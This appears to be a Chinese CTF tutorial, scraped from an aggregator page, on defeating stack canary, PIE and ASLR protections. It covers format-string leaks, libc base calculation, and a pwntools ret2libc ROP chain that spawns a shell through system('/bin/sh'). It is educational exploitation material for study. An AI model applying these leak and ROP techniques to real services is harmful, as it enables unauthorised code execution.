当前位置: 首页 > news >正文

从一道综合题出发:实战绕过Canary+PIE+ASLR全保护(含Libc计算)

从一道综合题出发:实战绕过Canary+PIE+ASLR全保护(含Libc计算)

在CTF Pwn类题目中,面对同时开启Canary、PIE、NX和ASLR等多重保护机制的二进制程序,往往需要构建系统化的漏洞利用链。本文将以一道典型的高分赛题为例,详细拆解如何在复杂保护环境下完成信息泄露、地址计算和稳定攻击。

1. 多重保护机制解析

现代二进制程序通常会启用多种安全保护机制来增加漏洞利用难度。理解这些机制的工作原理是绕过它们的前提。

1.1 Canary保护原理

Canary保护通过在函数栈帧中插入随机值来检测栈溢出:

  • 布局位置:位于局部变量与返回地址之间
  • 检查时机:函数返回前验证该值是否被修改
  • 特征识别:x64架构下通常以00字节结尾
  • 绕过思路
    • 格式化字符串泄露
    • 逐字节爆破(Brute Force)
    • 覆盖部分Canary(当程序存在逻辑漏洞时)

注意:Canary的低位字节通常为\x00,这既是特征也是限制条件。

1.2 PIE与ASLR机制

PIE(Position Independent Executable)使程序基址随机化,ASLR(Address Space Layout Randomization)则随机化内存布局:

保护类型影响范围特征表现
PIE代码段/数据段地址高5位随机
ASLR堆/栈/库地址完整地址随机

关键区别在于PIE仅影响程序本身的加载基址,而ASLR影响所有内存区域。两者结合使用时,需要分别泄露不同模块的基址。

2. 综合漏洞利用框架构建

面对多重保护,需要建立系统化的利用流程。以下是一个典型的攻击链:

  1. 信息泄露阶段

    • 获取Canary值
    • 泄露程序基址(PIE)
    • 获取Libc函数地址
  2. 地址计算阶段

    # PIE基址计算示例 leaked_addr = 0x55cd48f8b3a0 offset = 0x12eb pie_base = leaked_addr - offset # Libc基址计算 libc_start_main = u64(leaked_bytes) libc_base = libc_start_main - libc.sym['__libc_start_main']
  3. ROP链构造

    • 组合程序内gadget
    • 调用Libc中的系统函数

3. 实战案例分析

假设目标程序具有以下特点:

  • 提供算术题交互界面
  • 存在格式化字符串漏洞
  • 15轮正常计算后进入关键函数

3.1 信息泄露过程

通过格式化字符串漏洞获取关键内存数据:

# 泄露Canary p.sendlineafter("= ? ", "%23$p") canary = int(p.recvline(), 16) # 泄露PIE地址 p.sendline("%25$p") pie_leak = int(p.recvline(), 16) pie_base = pie_leak - 0x1547 - 323 # 泄露Libc地址 p.sendline("%31$p") libc_start_main = int(p.recvline(), 16) - 241 libc_base = libc_start_main - libc.sym['__libc_start_main']

3.2 精确偏移计算

地址计算时需要特别注意偏移修正:

  • PIE偏移:IDA静态地址与运行时地址的差值
  • Libc偏移:不同版本libc的符号偏移差异
  • 栈对齐:x64架构下调用系统函数时的栈对齐要求

典型偏移修正代码:

# 获取关键函数地址 system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) # 获取ROP gadget pop_rdi = pie_base + 0x1713 ret = pop_rdi + 1 # 用于栈对齐

4. 稳定Exploit构造

构建最终攻击载荷时需要特别注意:

  1. Canary恢复:在payload中正确位置填入原始Canary值
  2. ROP链构造
    payload = flat([ b'A'*offset, # 填充到Canary位置 p64(canary), # 恢复Canary p64(0), # 原始RBP值 pop_rdi, bin_sh, # 参数准备 ret, # 栈对齐 system # 触发系统调用 ])
  3. 交互处理:处理程序的各种输入/输出边界条件

实际比赛中还需要考虑:

  • 远程环境与本地测试的差异
  • 不同系统版本的偏移变化
  • 网络延迟对交互时序的影响

5. 高级技巧与优化

对于更复杂的场景,可以采用以下优化手段:

  • 部分写覆盖:当ASLR使地址高位随机时,通过覆盖低位字节实现劫持
  • 堆栈协同利用:结合堆漏洞完成更复杂的攻击链
  • 侧信道攻击:当直接泄露不可行时,通过错误信息推断内存数据

一个经过优化的最终exp可能包含以下结构:

def exploit(): # 第一阶段:信息泄露 leak_canary() leak_pie() leak_libc() # 第二阶段:计算关键地址 calc_gadgets() prepare_payload() # 第三阶段:触发漏洞 send_payload() interactive()

这种模块化设计便于调试和适应不同环境。在实际CTF比赛中,每个环节都可能需要多次尝试和调整,特别是在面对不同保护机制组合时,需要灵活选择最适合当前场景的利用方式。

http://www.jsqmd.com/news/938497/

相关文章:

  • 【Sora 2旅游视频爆款公式】:20年AI影像专家亲授3大生成逻辑、5类高转化脚本结构与避坑清单
  • 垂直AI:从概念到价值交付的深度解析与实战指南
  • Lindy无代码自动化实战手册:7天零基础搭建企业级审批流(附可复用模板)
  • 基于ATtiny13A与PWM调光的超长续航智能手电筒设计与实现
  • 如何用3分钟精准计算AI提示词成本?TikTokenizer在线分词器终极指南
  • 高并发下合理配置 K8s Ingress 控制器承载 K8s CSI存储卷生命周期管理请求时的超时调优参数
  • 别再手动调滤波器了!用Matlab快速验证Farrow插值性能,为FPGA设计铺路
  • 从Modbus到Profinet:给S7-1200 PLC通讯协议选型画张“地图”(含RS485接线避坑)
  • AI办公整合不是选插件,而是重构工作流:基于ISO/IEC 23894标准的6步评估法首次公开
  • 别再为缺失的交通数据发愁了!试试这个基于时空关联的Python实战项目(附完整代码)
  • 别再只会搜IP了!手把手教你用ZoomEye的5个高级搜索语法,精准定位网络资产
  • 2026 漯河本地靠谱的GEO优化公司,AI搜索排名推荐榜(综合实力TOP5) - 星际AI
  • 洛雪音乐音源完整配置指南:三步搭建你的免费高品质音乐库
  • 两大技巧:安卓手机批量发短信且不创建群聊
  • AI翻译技术解析:从神经网络原理到商业场景应用实战
  • 2026 郑州新高一学校择校全攻略:排名、口碑、班型、区域推荐,到底怎么选 - GrowthUME
  • 告别调参玄学:用进化计算自动优化你的机器学习模型(附Python代码)
  • 别再被AI新名词吓到!Smaller.孔带你建立上帝视角,一张图看懂AI智能体生态全布局
  • 5分钟掌握AI图像分层魔法:让任何插图秒变可编辑PSD图层
  • 破解AI训练存储瓶颈:用MinIO构建高性能数据供给层
  • 为什么92%的企业AI运维告警失效?:日志系统与LLM工具链深度耦合的3个致命断点
  • 2026树洞平台极致隐私测评:纯文字交互+银行级加密+本地存储=树洞安全最高标准 - 时时资讯
  • 告别裸奔AssetBundle!手把手教你打造资源加密加载管线(Unity 2022+)
  • OpenCV实战:用Sobel算子给你的风景照‘描边’,5步实现漫画风/素描风特效
  • 2026 北京上门收酒机构排名深度解析:综合实力 TOP5 权威榜单 - 品牌排行榜单
  • 告别NeRF的漫长等待:用3D Gaussian Splatting在RTX 4090上实现实时新视图合成
  • 云原生实践指南:从概念到落地的八项核心能力解析
  • 手把手教你用Python自动化测试万用表:以RIGOL DM3068和DG1062信号源为例
  • 告别if-else地狱!用LiteFlow规则引擎重构你的Spring Boot业务代码(实战篇)
  • 【Veo 2企业级应用白皮书】:已验证的12行业落地场景+合规水印嵌入方案(含GDPR适配指南)